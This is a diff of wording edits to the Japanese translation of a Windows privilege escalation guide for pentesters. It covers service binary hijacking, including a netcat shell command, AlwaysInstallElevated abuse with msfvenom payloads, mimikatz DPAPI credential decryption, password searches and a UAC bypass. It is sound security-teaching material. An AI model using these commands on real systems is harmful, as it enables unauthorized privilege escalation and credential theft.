+スクリプトの実行の完全なアクティビティと内容の記録がキャプチャされ、実行されるコードの各ブロックが文書化されることが保証されます。このプロセスは、各アクティビティの包括的な監査証跡を保持し、フォレンジックや悪意のある行動の分析に役立ちます。実行時にすべてのアクティビティを文書化することにより、プロセスに関する詳細な洞察が提供されます。 ```bash reg query HKCU\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging reg query HKLM\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging reg query HKCU\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging reg query HKLM\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging ``` -スクリプトブロックのログイベントは、Windowsイベントビューワーのパスにあります: **Application and Services Logs > Microsoft > Windows > PowerShell > Operational**。\ -最後の20件のイベントを表示するには、次のコマンドを使用できます: +スクリプトブロックのログイベントは、Windowsイベントビューアのパス **Application and Services Logs > Microsoft > Windows > PowerShell > Operational** にあります。\ +最後の20件のイベントを表示するには、次のコマンドを使用できます: ```bash Get-WinEvent -LogName "Microsoft-Windows-Powershell/Operational" | select -first 20 | Out-Gridview ``` @@ -152,13 +152,13 @@ Get-PSDrive | where {$_.Provider -like "Microsoft.PowerShell.Core\FileSystem"}| ``` ## WSUS -更新がhttpではなくhttp**S**を使用してリクエストされていない場合、システムを侵害することができます。 +システムは、更新がhttpではなくhttp**S**を使用してリクエストされていない場合に侵害される可能性があります。 次のコマンドを実行して、ネットワークが非SSL WSUS更新を使用しているかどうかを確認します: ``` reg query HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate /v WUServer ``` -返信があった場合は: +返信が次のような場合: ```bash HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WindowsUpdate WUServer REG_SZ http://xxxx-updxx.corp.internal.com:8535 @@ -180,21 +180,21 @@ WUServer REG_SZ http://xxxx-updxx.corp.internal.com:8535 > ローカルユーザープロキシを変更する権限があり、Windows Update が Internet Explorer の設定で構成されたプロキシを使用する場合、私たちは [PyWSUS](https://github.com/GoSecure/pywsus) をローカルで実行して自分のトラフィックを傍受し、資産上で昇格されたユーザーとしてコードを実行する権限を持っています。 > -> さらに、WSUS サービスは現在のユーザーの設定を使用するため、その証明書ストアも使用します。WSUS ホスト名の自己署名証明書を生成し、この証明書を現在のユーザーの証明書ストアに追加すれば、HTTP および HTTPS WSUS トラフィックの両方を傍受できるようになります。WSUS は、証明書に対して信頼性のある初回使用型の検証を実装するための HSTS のようなメカニズムを使用していません。提示された証明書がユーザーによって信頼され、正しいホスト名を持っている場合、サービスによって受け入れられます。 +> さらに、WSUS サービスは現在のユーザーの設定を使用するため、その証明書ストアも使用します。WSUS ホスト名の自己署名証明書を生成し、この証明書を現在のユーザーの証明書ストアに追加すれば、HTTP および HTTPS WSUS トラフィックの両方を傍受できるようになります。WSUS は、証明書に対して信頼の初回使用タイプの検証を実装するための HSTS のようなメカニズムを使用していません。提示された証明書がユーザーによって信頼され、正しいホスト名を持っている場合、サービスによって受け入れられます。 この脆弱性を利用するには、ツール [**WSUSpicious**](https://github.com/GoSecure/wsuspicious) を使用できます(解放された場合)。 ## KrbRelayUp -**ローカル特権昇格**の脆弱性は、特定の条件下で Windows **ドメイン** 環境に存在します。これらの条件には、**LDAP 署名が強制されていない**環境、ユーザーが **リソースベースの制約付き委任 (RBCD)** を構成する権利を持っている環境、およびユーザーがドメイン内でコンピュータを作成する能力が含まれます。これらの**要件**は、**デフォルト設定**を使用して満たされることに注意が必要です。 +**ローカル特権昇格** 脆弱性は、特定の条件下で Windows **ドメイン** 環境に存在します。これらの条件には、**LDAP 署名が強制されていない** 環境、ユーザーが **リソースベースの制約付き委任 (RBCD)** を構成する権利を持っていること、およびユーザーがドメイン内にコンピュータを作成する能力が含まれます。これらの **要件** は **デフォルト設定** を使用して満たされることに注意が必要です。 -**エクスプロイトを見つける**には [**https://github.com/Dec0ne/KrbRelayUp**](https://github.com/Dec0ne/KrbRelayUp) +**エクスプロイトを見つける** [**https://github.com/Dec0ne/KrbRelayUp**](https://github.com/Dec0ne/KrbRelayUp) 攻撃の流れについての詳細は、[https://research.nccgroup.com/2019/08/20/kerberos-resource-based-constrained-delegation-when-an-image-change-leads-to-a-privilege-escalation/](https://research.nccgroup.com/2019/08/20/kerberos-resource-based-constrained-delegation-when-an-image-change-leads-to-a-privilege-escalation/) を確認してください。 ## AlwaysInstallElevated -**これらの 2 つのレジスタが** **有効** (値が **0x1**) の場合、あらゆる特権のユーザーが **インストール** (実行) `*.msi` ファイルを NT AUTHORITY\\**SYSTEM** として実行できます。 +**これらの 2 つのレジスタが **有効** (値が **0x1**) の場合、任意の特権を持つユーザーは **インストール** (実行) `*.msi` ファイルを NT AUTHORITY\\**SYSTEM** として実行できます。 ```bash reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated @@ -208,7 +208,7 @@ msfvenom -p windows/adduser USER=rottenadmin PASS=P@ssword123! -f msi -o alwe.ms ### PowerUP -`Write-UserAddMSI`コマンドをpower-upから使用して、現在のディレクトリ内にWindows MSIバイナリを作成し、特権を昇格させます。このスクリプトは、ユーザー/グループの追加を促すプリコンパイルされたMSIインストーラーを書き出します(そのため、GIUアクセスが必要です): +`Write-UserAddMSI`コマンドをpower-upから使用して、現在のディレクトリ内に特権を昇格させるためのWindows MSIバイナリを作成します。このスクリプトは、ユーザー/グループの追加を促す事前コンパイルされたMSIインストーラーを書き出します(そのため、GIUアクセスが必要です)。 ``` Write-UserAddMSI ``` @@ -232,7 +232,7 @@ create-msi-with-wix.md - **Cobalt Strike**または**Metasploit**を使用して、`C:\privesc\beacon.exe`に**新しいWindows EXE TCPペイロード**を生成します。 - **Visual Studio**を開き、**新しいプロジェクトを作成**を選択し、検索ボックスに「installer」と入力します。**Setup Wizard**プロジェクトを選択し、**Next**をクリックします。 -- プロジェクトに**AlwaysPrivesc**のような名前を付け、場所に**`C:\privesc`**を使用し、**ソリューションとプロジェクトを同じディレクトリに配置**を選択し、**Create**をクリックします。 +- プロジェクトに**AlwaysPrivesc**という名前を付け、場所に**`C:\privesc`**を使用し、**ソリューションとプロジェクトを同じディレクトリに配置**を選択し、**Create**をクリックします。 - **Next**をクリックし続け、ステップ3の4(含めるファイルを選択)に到達します。**Add**をクリックし、先ほど生成したBeaconペイロードを選択します。次に、**Finish**をクリックします。 - **Solution Explorer**で**AlwaysPrivesc**プロジェクトをハイライトし、**Properties**で**TargetPlatform**を**x86**から**x64**に変更します。 - **Author**や**Manufacturer**など、インストールされたアプリをより正当なものに見せるために変更できる他のプロパティもあります。 @@ -267,7 +267,7 @@ reg query HKLM\Software\Policies\Microsoft\Windows\EventLog\EventForwarding\Subs ``` ### LAPS -**LAPS**は、**ローカル管理者パスワードの管理**のために設計されており、ドメインに参加しているコンピュータ上で各パスワードが**一意で、ランダム化され、定期的に更新される**ことを保証します。これらのパスワードはActive Directory内に安全に保存され、ACLを通じて十分な権限が付与されたユーザーのみがアクセスでき、認可されている場合にローカル管理者パスワードを表示できます。 +**LAPS**は、**ローカル管理者パスワードの管理**のために設計されており、ドメインに参加しているコンピュータ上で各パスワードが**一意で、ランダム化され、定期的に更新される**ことを保証します。これらのパスワードはActive Directory内に安全に保存され、ACLを通じて十分な権限を付与されたユーザーのみがアクセスでき、認可されている場合にローカル管理者パスワードを表示できます。 {{#ref}} ../active-directory-methodology/laps.md @@ -289,7 +289,7 @@ reg query 'HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\LSA' /v RunAsPPL ``` ### Credentials Guard -**Credential Guard** は **Windows 10** で導入されました。その目的は、デバイスに保存された資格情報をパス・ザ・ハッシュ攻撃のような脅威から保護することです。| [**Credentials Guard に関する詳細はこちら。**](../stealing-credentials/credentials-protections.md#credential-guard) +**Credential Guard** は **Windows 10** で導入されました。その目的は、デバイスに保存された資格情報をパス・ザ・ハッシュ攻撃のような脅威から保護することです。| [**More info about Credentials Guard here.**](../stealing-credentials/credentials-protections.md#credential-guard) ```bash reg query 'HKLM\System\CurrentControlSet\Control\LSA' /v LsaCfgFlags ``` @@ -329,8 +329,8 @@ Get-LocalGroupMember Administrators | ft Name, PrincipalSource ### トークン操作 -このページで**トークンとは何か**について**詳しく学んでください**:[**Windows Tokens**](../authentication-credentials-uac-and-efs/#access-tokens)。\ -次のページをチェックして、**興味深いトークンについて学び**、それらを悪用する方法を確認してください: +このページで**トークンとは何か**について**詳しく学んでください**:[**Windows トークン**](../authentication-credentials-uac-and-efs/#access-tokens)。\ +次のページをチェックして**興味深いトークンについて学び**、それらを悪用する方法を確認してください: {{#ref}} privilege-escalation-abusing-tokens.md @@ -358,7 +358,7 @@ powershell -command "Get-Clipboard" ### ファイルとフォルダーの権限 -まず、プロセスをリストアップして、**プロセスのコマンドライン内にパスワードがないか確認します**。\ +まず、プロセスをリストする際に、**プロセスのコマンドライン内のパスワードを確認**します。\ **実行中のバイナリを上書きできるか**、またはバイナリフォルダーの書き込み権限があるかを確認して、可能な[**DLLハイジャック攻撃**](dll-hijacking/)を利用します: ```bash Tasklist /SVC #List processes running and services @@ -381,7 +381,7 @@ icacls "%%z" ) ) ``` -**プロセスバイナリのフォルダの権限を確認する (**[**DLL Hijacking**](dll-hijacking/)**)** +**プロセスバイナリのフォルダーの権限を確認する (**[**DLL Hijacking**](dll-hijacking/)**)** ```bash for /f "tokens=2 delims='='" %%x in ('wmic process list full^|find /i "executablepath"^|find /i /v "system32"^|find ":"') do for /f eol^=^"^ delims^=^" %%y in ('echo %%x') do ( @@ -431,7 +431,7 @@ accesschk.exe -uwcqv "Todos" * /accepteula ::Spanish version ### サービスを有効にする -このエラーが発生している場合(例えばSSDPSRVの場合): +このエラーが発生している場合(例えばSSDPSRVで): _システムエラー1058が発生しました。_\ &#xNAN;_Tサービスは無効になっているか、関連付けられた有効なデバイスがないため、開始できません。_ @@ -447,7 +447,7 @@ sc.exe config usosvc start= auto ``` ### **サービスバイナリパスの変更** -「認証されたユーザー」グループがサービスに対して **SERVICE_ALL_ACCESS** を持つシナリオでは、サービスの実行可能バイナリを変更することが可能です。 **sc** を変更して実行するには: +「認証されたユーザー」グループがサービスに対して **SERVICE_ALL_ACCESS** を持つシナリオでは、サービスの実行可能バイナリを変更することが可能です。**sc** を変更して実行するには: ```bash sc config binpath= "C:\nc.exe -nv 127.0.0.1 9988 -e C:\WINDOWS\System32\cmd.exe" sc config binpath= "net localgroup administrators username /add" @@ -472,8 +472,8 @@ net stop [service name] && net start [service name] ### サービスバイナリの弱い権限 -**サービスによって実行されるバイナリを変更できるかどうか**、または**バイナリが存在するフォルダーに対して書き込み権限があるかどうかを確認してください**([**DLL Hijacking**](dll-hijacking/))。\ -サービスによって実行されるすべてのバイナリを **wmic**(system32 ではない)を使用して取得し、**icacls** を使用して権限を確認できます: +**サービスによって実行されるバイナリを変更できるかどうか**、または**バイナリがあるフォルダーに対する書き込み権限があるかどうかを確認してください**([**DLL Hijacking**](dll-hijacking/))。\ +**wmic**(system32ではない)を使用してサービスによって実行されるすべてのバイナリを取得し、**icacls**を使用して権限を確認できます: ```bash for /f "tokens=2 delims='='" %a in ('wmic service list full^|find /i "pathname"^|find /i /v "system32"') do @echo %a >> %temp%\perm.txt @@ -497,7 +497,7 @@ for /f %a in ('reg query hklm\system\currentcontrolset\services') do del %temp%\ get-acl HKLM:\System\CurrentControlSet\services\* | Format-List * | findstr /i " Users Path Everyone" ``` -**Authenticated Users** または **NT AUTHORITY\INTERACTIVE** が `FullControl` 権限を持っているかどうかを確認する必要があります。そうであれば、サービスによって実行されるバイナリを変更できます。 +**Authenticated Users** または **NT AUTHORITY\INTERACTIVE** が `FullControl` 権限を持っているかどうかを確認する必要があります。もしそうであれば、サービスによって実行されるバイナリを変更することができます。 実行されるバイナリのパスを変更するには: ```bash @@ -547,7 +547,7 @@ msfvenom -p windows/exec CMD="net localgroup administrators username /add" -f ex ``` ### Recovery Actions -Windowsは、サービスが失敗した場合に実行されるアクションをユーザーが指定できるようにしています。この機能は、バイナリを指すように構成できます。このバイナリが置き換え可能であれば、特権昇格が可能かもしれません。詳細は[公式ドキュメント]()を参照してください。 +Windowsは、サービスが失敗した場合に実行されるアクションをユーザーが指定できるようにします。この機能は、バイナリを指すように構成できます。このバイナリが置き換え可能であれば、特権昇格が可能かもしれません。詳細は[公式ドキュメント]()に記載されています。 ## Applications @@ -564,9 +564,9 @@ Get-ChildItem -path Registry::HKEY_LOCAL_MACHINE\SOFTWARE | ft Name ``` ### 書き込み権限 -特定のファイルを読み取るために設定ファイルを変更できるか、または管理者アカウント(schedtasks)によって実行されるバイナリを変更できるかを確認してください。 +特定のファイルを読み取るために設定ファイルを変更できるか、または管理者アカウント(schedtasks)によって実行されるバイナリを変更できるかを確認します。 -システム内の弱いフォルダー/ファイルの権限を見つける方法は次のとおりです: +システム内の弱いフォルダー/ファイルの権限を見つける方法は次の通りです: ```bash accesschk.exe /accepteula # Find all weak folder permissions per drive. @@ -592,7 +592,7 @@ Get-ChildItem 'C:\Program Files\*','C:\Program Files (x86)\*' | % { try { Get-Ac ### スタートアップ時に実行 **異なるユーザーによって実行されるレジストリまたはバイナリを上書きできるか確認してください。**\ -**以下のページを読んで、特権を昇格させるための興味深い** **オートランの場所**について学んでください: +**次のページを読んで、特権を昇格させるための興味深い** **オートランの場所**について学んでください: {{#ref}} privilege-escalation-with-autorun-binaries.md @@ -608,7 +608,7 @@ driverquery /SI ``` ## PATH DLL ハイジャック -**PATHに存在するフォルダー内に書き込み権限がある場合**、プロセスによってロードされたDLLをハイジャックし、**権限を昇格させる**ことができるかもしれません。 +**PATHに存在するフォルダー内に書き込み権限がある場合**、プロセスによって読み込まれるDLLをハイジャックし、**権限を昇格させる**ことができるかもしれません。 PATH内のすべてのフォルダーの権限を確認してください: ```bash @@ -662,7 +662,7 @@ Get-NetNeighbor -AddressFamily IPv4 | ft ifIndex,IPAddress,L [**ファイアウォール関連のコマンドについてはこのページを確認してください**](../basic-cmd-for-pentesters.md#firewall) **(ルールのリスト、ルールの作成、オフにする、オフにする...)** -ネットワーク列挙のためのさらに多くの[コマンドはこちら](../basic-cmd-for-pentesters.md#network) +ネットワーク列挙のためのより多くの[コマンドはこちら](../basic-cmd-for-pentesters.md#network) ### Windows Subsystem for Linux (wsl) ```bash @@ -671,7 +671,7 @@ C:\Windows\System32\wsl.exe ``` バイナリ `bash.exe` は `C:\Windows\WinSxS\amd64_microsoft-windows-lxssbash_[...]\bash.exe` にも見つけることができます。 -ルートユーザーを取得すると、任意のポートでリッスンできます(最初に `nc.exe` を使用してポートでリッスンすると、GUIを介して `nc` がファイアウォールによって許可されるべきかどうかを尋ねられます)。 +ルートユーザーを取得すると、任意のポートでリッスンできます(`nc.exe` を使用してポートでリッスンする最初の時に、GUIを通じて `nc` がファイアウォールによって許可されるべきかどうか尋ねられます)。 ```bash wsl whoami ./ubuntun1604.exe config --default-user root @@ -699,7 +699,7 @@ reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AltDef ### Credentials manager / Windows vault From [https://www.neowin.net/news/windows-7-exploring-credential-manager-and-windows-vault](https://www.neowin.net/news/windows-7-exploring-credential-manager-and-windows-vault)\ -Windows Vaultは、**Windows**が**ユーザーを自動的にログイン**させるためのサーバー、ウェブサイト、その他のプログラムのユーザー資格情報を保存します。最初は、ユーザーがFacebookの資格情報、Twitterの資格情報、Gmailの資格情報などを保存できるようになり、ブラウザを通じて自動的にログインできるように見えるかもしれません。しかし、そうではありません。 +Windows Vaultは、**Windows**が**ユーザーを自動的にログインさせる**ことができるサーバー、ウェブサイト、その他のプログラムのユーザー資格情報を保存します。一見すると、ユーザーがFacebookの資格情報、Twitterの資格情報、Gmailの資格情報などを保存できるようになり、ブラウザを通じて自動的にログインできるように見えるかもしれません。しかし、そうではありません。 Windows Vaultは、Windowsがユーザーを自動的にログインさせることができる資格情報を保存します。つまり、リソース(サーバーまたはウェブサイト)にアクセスするために資格情報が必要な**Windowsアプリケーションは、このCredential Manager** & Windows Vaultを利用し、ユーザーが常にユーザー名とパスワードを入力する代わりに提供された資格情報を使用できます。 @@ -734,7 +734,7 @@ DPAPIを使用して暗号化されたユーザーRSA鍵は、`%APPDATA%\Microso Get-ChildItem C:\Users\USER\AppData\Roaming\Microsoft\Protect\ Get-ChildItem C:\Users\USER\AppData\Local\Microsoft\Protect\ ``` -**mimikatz モジュール** `dpapi::masterkey` を適切な引数(`/pvk` または `/rpc`)で使用して、それを復号化できます。 +**mimikatzモジュール** `dpapi::masterkey` を適切な引数(`/pvk` または `/rpc`)と共に使用して、それを復号化できます。 **マスターパスワードによって保護された資格情報ファイル** は通常、次の場所にあります: ```powershell @@ -744,7 +744,7 @@ Get-ChildItem -Hidden C:\Users\username\AppData\Local\Microsoft\Credentials\ Get-ChildItem -Hidden C:\Users\username\AppData\Roaming\Microsoft\Credentials\ ``` **mimikatzモジュール** `dpapi::cred` を適切な `/masterkey` と共に使用して復号化できます。\ -**メモリ** から **多くのDPAPI** **マスタキー** を `sekurlsa::dpapi` モジュールを使用して抽出できます(あなたがルートである場合)。 +**メモリ** から **多くのDPAPI** **マスタキー** を `sekurlsa::dpapi` モジュールを使用して抽出できます(ルート権限が必要です)。 {{#ref}} dpapi-extracting-passwords.md @@ -789,7 +789,7 @@ HKCU\\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\RunMRU %localappdata%\Microsoft\Remote Desktop Connection Manager\RDCMan.settings ``` **Mimikatz** `dpapi::rdg` モジュールを適切な `/masterkey` と共に使用して **任意の .rdg ファイルを復号化**します。\ -メモリから多くの DPAPI マスタキーを **Mimikatz** `sekurlsa::dpapi` モジュールを使用して **抽出**できます。 +メモリから多くの DPAPI マスタキーを **Mimikatz** `sekurlsa::dpapi` モジュールで **抽出**できます。 ### Sticky Notes @@ -882,7 +882,7 @@ $ErrorActionPreference = $OrigError ### SCClient / SCCM `C:\Windows\CCM\SCClient.exe` が存在するか確認します。\ -インストーラーは **SYSTEM 権限で実行され**、多くは **DLL サイドローディングに脆弱です(情報は** [**https://github.com/enjoiz/Privesc**](https://github.com/enjoiz/Privesc)**)。** +インストーラーは **SYSTEM 権限で実行され**、多くは **DLL サイドローディングに脆弱です (情報元は** [**https://github.com/enjoiz/Privesc**](https://github.com/enjoiz/Privesc)**)。** ```bash $result = Get-WmiObject -Namespace "root\ccm\clientSDK" -Class CCM_Application -Property * | select Name,SoftwareVersion if ($result) { $result } @@ -898,13 +898,13 @@ reg query "HKCU\Software\SimonTatham\PuTTY\Sessions" /s | findstr "HKEY_CURRENT_ ``` reg query HKCU\Software\SimonTatham\PuTTY\SshHostKeys\ ``` -### SSHキーのレジストリ +### レジストリ内のSSHキー -SSHプライベートキーはレジストリキー`HKCU\Software\OpenSSH\Agent\Keys`内に保存されることがあるため、そこに興味深いものがないか確認する必要があります: +SSHプライベートキーは、レジストリキー `HKCU\Software\OpenSSH\Agent\Keys` に保存されることがあるため、そこに興味深いものがないか確認する必要があります: ```bash reg query 'HKEY_CURRENT_USER\Software\OpenSSH\Agent\Keys' ``` -そのパス内にエントリが見つかった場合、それは保存されたSSHキーである可能性が高いです。これは暗号化されて保存されていますが、[https://github.com/ropnop/windows_sshagent_extract](https://github.com/ropnop/windows_sshagent_extract)を使用して簡単に復号化できます。\ +そのパス内にエントリが見つかると、おそらく保存されたSSHキーです。これは暗号化されて保存されていますが、[https://github.com/ropnop/windows_sshagent_extract](https://github.com/ropnop/windows_sshagent_extract)を使用して簡単に復号化できます。\ この技術に関する詳細情報はこちら: [https://blog.ropnop.com/extracting-ssh-private-keys-from-windows-10-ssh-agent/](https://blog.ropnop.com/extracting-ssh-private-keys-from-windows-10-ssh-agent/) `ssh-agent`サービスが実行されていない場合、自動的に起動するようにするには、次のコマンドを実行します: @@ -929,9 +929,9 @@ C:\unattend.txt C:\unattend.inf dir /s *sysprep.inf *sysprep.xml *unattended.xml *unattend.xml *unattend.txt 2>nul ``` -これらのファイルは、**metasploit**を使用しても検索できます: _post/windows/gather/enum_unattend_ +これらのファイルは**metasploit**を使用しても検索できます: _post/windows/gather/enum_unattend_ -例の内容: +Example content: ```xml @@ -976,7 +976,7 @@ AppData\Roaming\gcloud\access_tokens.db ### Cached GPP Pasword -以前は、グループポリシーの設定(GPP)を介して一群のマシンにカスタムローカル管理者アカウントを展開する機能がありました。しかし、この方法には重大なセキュリティ上の欠陥がありました。まず、SYSVOLにXMLファイルとして保存されているグループポリシーオブジェクト(GPO)は、任意のドメインユーザーによってアクセス可能でした。次に、公開文書化されたデフォルトキーを使用してAES256で暗号化されたこれらのGPP内のパスワードは、認証されたユーザーによって復号化可能でした。これは、ユーザーが特権を昇格させることを可能にするため、深刻なリスクをもたらしました。 +以前は、グループポリシープリファレンス(GPP)を介して一群のマシンにカスタムローカル管理者アカウントを展開する機能が利用可能でした。しかし、この方法には重大なセキュリティ上の欠陥がありました。まず、SYSVOLにXMLファイルとして保存されているグループポリシーオブジェクト(GPO)は、任意のドメインユーザーによってアクセス可能でした。次に、これらのGPP内のパスワードは、公開文書化されたデフォルトキーを使用してAES256で暗号化されており、認証されたユーザーによって復号化可能でした。これは、ユーザーが特権を昇格させることを可能にするため、深刻なリスクをもたらしました。 このリスクを軽減するために、「cpassword」フィールドが空でないローカルキャッシュされたGPPファイルをスキャンする機能が開発されました。このようなファイルが見つかると、関数はパスワードを復号化し、カスタムPowerShellオブジェクトを返します。このオブジェクトには、GPPに関する詳細とファイルの場所が含まれており、このセキュリティ脆弱性の特定と修正に役立ちます。 @@ -1154,7 +1154,7 @@ reg query "HKCU\Software\OpenSSH\Agent\Key" ### ブラウザの履歴 -**ChromeやFirefox**からパスワードが保存されているdbを確認する必要があります。\ +**ChromeまたはFirefox**からパスワードが保存されているdbを確認する必要があります。\ また、ブラウザの履歴、ブックマーク、お気に入りも確認してください。そこに**パスワードが**保存されているかもしれません。 ブラウザからパスワードを抽出するためのツール: @@ -1184,13 +1184,13 @@ com-hijacking.md ### **ファイルとレジストリ内の一般的なパスワード検索** -**ファイルの内容を検索** +**ファイル内容を検索** ```bash cd C:\ & findstr /SI /M "password" *.xml *.ini *.txt findstr /si password *.xml *.ini *.txt *.config findstr /spin "password" *.* ``` -**特定のファイル名を持つファイルを検索する** +**特定のファイル名のファイルを検索する** ```bash dir /S /B *pass*.txt == *pass*.xml == *pass*.ini == *cred* == *vnc* == *.config* where /R C:\ user.txt @@ -1205,11 +1205,11 @@ REG QUERY HKCU /F "password" /t REG_SZ /S /d ``` ### パスワードを検索するツール -[**MSF-Credentials Plugin**](https://github.com/carlospolop/MSF-Credentials) **はmsfの** プラグインで、**被害者の内部で資格情報を検索するすべてのmetasploit POSTモジュールを自動的に実行するために作成しました。**\ +[**MSF-Credentials Plugin**](https://github.com/carlospolop/MSF-Credentials) **はmsfの** プラグインで、**被害者の内部で資格情報を検索するすべてのmetasploit POSTモジュールを自動的に実行するために作成しました**。\ [**Winpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) は、このページに記載されているパスワードを含むすべてのファイルを自動的に検索します。\ [**Lazagne**](https://github.com/AlessandroZ/LaZagne) は、システムからパスワードを抽出するためのもう一つの優れたツールです。 -ツール[**SessionGopher**](https://github.com/Arvanaghi/SessionGopher) は、**セッション**、**ユーザー名**、および**パスワード**を検索します。これらは、クリアテキストでデータを保存するいくつかのツール(PuTTY、WinSCP、FileZilla、SuperPuTTY、RDP)によって保存されます。 +ツール [**SessionGopher**](https://github.com/Arvanaghi/SessionGopher) は、**セッション**、**ユーザー名**、および**パスワード**を検索します。これらは、クリアテキストでデータを保存するいくつかのツール(PuTTY、WinSCP、FileZilla、SuperPuTTY、RDP)によって保存されます。 ```bash Import-Module path\to\SessionGopher.ps1; Invoke-SessionGopher -Thorough @@ -1220,14 +1220,14 @@ Invoke-SessionGopher -AllDomain -u domain.com\adm-arvanaghi -p s3cr3tP@ss **SYSTEMとして実行されているプロセスが新しいプロセスを開く** (`OpenProcess()`) **フルアクセスで**。同じプロセスが**低特権で新しいプロセスを作成する** (`CreateProcess()`) **が、メインプロセスのすべてのオープンハンドルを継承する**。\ その後、**低特権プロセスにフルアクセスがある場合**、`OpenProcess()`で作成された**特権プロセスへのオープンハンドルを取得し**、**シェルコードを注入**できます。\ -[この例を読んで、**この脆弱性を検出し、悪用する方法についての詳細を確認してください**。](leaked-handle-exploitation.md)\ -[この**別の投稿を読んで、異なる権限レベル(フルアクセスだけでなく)で継承されたプロセスとスレッドのオープンハンドルをテストし、悪用する方法についてのより完全な説明を確認してください**](http://dronesec.pw/blog/2019/08/22/exploiting-leaked-process-and-thread-handles/)。 +[この例を読んで、**この脆弱性を検出し、悪用する方法についての詳細情報を得てください**。](leaked-handle-exploitation.md)\ +[この**別の投稿を読んで、異なる権限レベル(フルアクセスだけでなく)で継承されたプロセスとスレッドのオープンハンドルをテストし、悪用する方法についてのより完全な説明を得てください**](http://dronesec.pw/blog/2019/08/22/exploiting-leaked-process-and-thread-handles/)。 ## 名前付きパイプクライアントのなりすまし 共有メモリセグメント、すなわち**パイプ**は、プロセス間の通信とデータ転送を可能にします。 -Windowsは**名前付きパイプ**という機能を提供しており、無関係なプロセスが異なるネットワークを介してもデータを共有できます。これは、**名前付きパイプサーバー**と**名前付きパイプクライアント**として定義された役割を持つクライアント/サーバーアーキテクチャに似ています。 +Windowsは**名前付きパイプ**と呼ばれる機能を提供しており、無関係なプロセスが異なるネットワークを介してもデータを共有できます。これは、**名前付きパイプサーバー**と**名前付きパイプクライアント**として定義された役割を持つクライアント/サーバーアーキテクチャに似ています。 **クライアント**によってパイプを通じてデータが送信されると、パイプを設定した**サーバー**は**クライアントのアイデンティティを引き受ける**能力を持ちます。必要な**SeImpersonate**権限がある場合です。パイプを介して通信する**特権プロセス**を特定し、そのプロセスのアイデンティティを模倣する機会があり、あなたが確立したパイプと相互作用する際にそのプロセスのアイデンティティを採用することで**より高い特権を得る**ことができます。このような攻撃を実行するための指示は、[**こちら**](named-pipe-client-impersonation.md)および[**こちら**](./#from-high-integrity-to-system)で見つけることができます。 @@ -1247,13 +1247,13 @@ $process2 = Get-WmiObject Win32_Process | Select-Object CommandLine Compare-Object -ReferenceObject $process -DifferenceObject $process2 } ``` -## プロセスからのパスワードの盗難 +## パスワードをプロセスから盗む ## 低特権ユーザーから NT\AUTHORITY SYSTEM へ (CVE-2019-1388) / UAC バイパス グラフィカルインターフェース(コンソールまたは RDP 経由)にアクセスでき、UAC が有効になっている場合、Microsoft Windows の一部のバージョンでは、特権のないユーザーから「NT\AUTHORITY SYSTEM」などのターミナルや他のプロセスを実行することが可能です。 -これにより、特権を昇格させ、同じ脆弱性を使用して同時に UAC をバイパスすることができます。さらに、何かをインストールする必要はなく、プロセス中に使用されるバイナリは Microsoft によって署名され、発行されています。 +これにより、特権を昇格させ、同時に同じ脆弱性で UAC をバイパスすることができます。さらに、何もインストールする必要がなく、プロセス中に使用されるバイナリは Microsoft によって署名され、発行されています。 影響を受けるシステムの一部は以下の通りです: ``` @@ -1277,7 +1277,7 @@ Windows 10 1607 14393 ** link OPENED AS SYSTEM ** Windows 10 1703 15063 link NOT opened Windows 10 1709 16299 link NOT opened ``` -この脆弱性を悪用するには、次のステップを実行する必要があります: +この脆弱性を悪用するには、次の手順を実行する必要があります: ``` 1) Right click on the HHUPD.EXE file and run it as Administrator. @@ -1295,11 +1295,11 @@ Windows 10 1709 16299 link NOT opened 8) Remember to cancel setup and the UAC prompt to return to your desktop. ``` -あなたは以下のGitHubリポジトリに必要なファイルと情報をすべて持っています: +あなたは次のGitHubリポジトリに必要なすべてのファイルと情報を持っています: https://github.com/jas502n/CVE-2019-1388 -## 管理者の中程度から高い整合性レベル / UACバイパス +## 管理者の中程度から高い整合性レベル / UACバイパスへ **整合性レベルについて学ぶには、これを読んでください:** @@ -1327,65 +1327,67 @@ sc start newservicename 高い整合性プロセスから、**AlwaysInstallElevatedレジストリエントリを有効にし**、_**.msi**_ラッパーを使用してリバースシェルを**インストール**しようとすることができます。\ [関与するレジストリキーと_.msi_パッケージのインストール方法についての詳細はこちら。](./#alwaysinstallelevated) -### High + SeImpersonate privilege to System +### High + SeImpersonate特権からSystemへ -**コードは** [**こちらで見つけることができます**](seimpersonate-from-high-to-system.md)**。** +**コードを** [**こちらで見つけることができます**](seimpersonate-from-high-to-system.md)**。** -### From SeDebug + SeImpersonate to Full Token privileges +### SeDebug + SeImpersonateからフルトークン特権へ -これらのトークン権限を持っている場合(おそらくすでに高い整合性プロセスで見つけるでしょう)、**ほぼすべてのプロセス**(保護されたプロセスではない)をSeDebug権限で**開くことができ**、プロセスの**トークンをコピー**し、そのトークンを使用して**任意のプロセスを作成**することができます。\ -この技術を使用する際は、通常、**すべてのトークン権限を持つSYSTEMとして実行されている任意のプロセスを選択します**(_はい、すべてのトークン権限を持たないSYSTEMプロセスを見つけることができます_)。\ -**提案された技術を実行するコードの** [**例はこちらで見つけることができます**](sedebug-+-seimpersonate-copy-token.md)**。** +これらのトークン特権を持っている場合(おそらくすでに高い整合性プロセスで見つけるでしょう)、**ほぼすべてのプロセス**(保護されたプロセスではない)をSeDebug特権で**開くことができ**、プロセスの**トークンをコピー**し、そのトークンを使用して**任意のプロセスを作成**することができます。\ +この技術を使用する際は、通常、**すべてのトークン特権を持つSYSTEMとして実行されている任意のプロセスを選択します**(_はい、すべてのトークン特権を持たないSYSTEMプロセスを見つけることができます_)。\ +**提案された技術を実行するコードの** [**例をこちらで見つけることができます**](sedebug-+-seimpersonate-copy-token.md)**。** ### **Named Pipes** 